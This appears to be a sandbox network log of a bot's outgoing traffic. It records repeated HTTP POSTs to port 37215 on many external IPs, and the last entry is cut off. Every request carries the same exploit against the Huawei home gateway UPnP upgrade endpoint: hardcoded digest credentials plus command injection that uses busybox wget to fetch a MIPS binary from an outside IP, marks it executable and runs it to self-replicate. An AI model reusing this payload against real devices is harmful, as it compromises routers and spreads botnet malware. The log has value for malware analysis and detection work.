Jul 20, 2024 23:00:57.221048117 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.23	52728	125.230.182.28	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221090078 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.23	49188	197.166.141.245	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221132040 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.23	37174	157.233.134.27	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221132040 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.23	52906	157.119.223.145	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221141100 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.23	56886	17.113.7.103	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221144915 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.23	44014	143.179.199.146	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221144915 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.23	42650	47.7.162.229	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221189976 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.23	58196	197.77.131.53	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221220016 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.23	44052	197.23.80.245	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221223116 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.23	47068	197.30.15.103	37215

Timestamp	Bytes transferred	Direction	Data
Jul 20, 2024 23:00:57.221220016 CEST	851	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 482 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 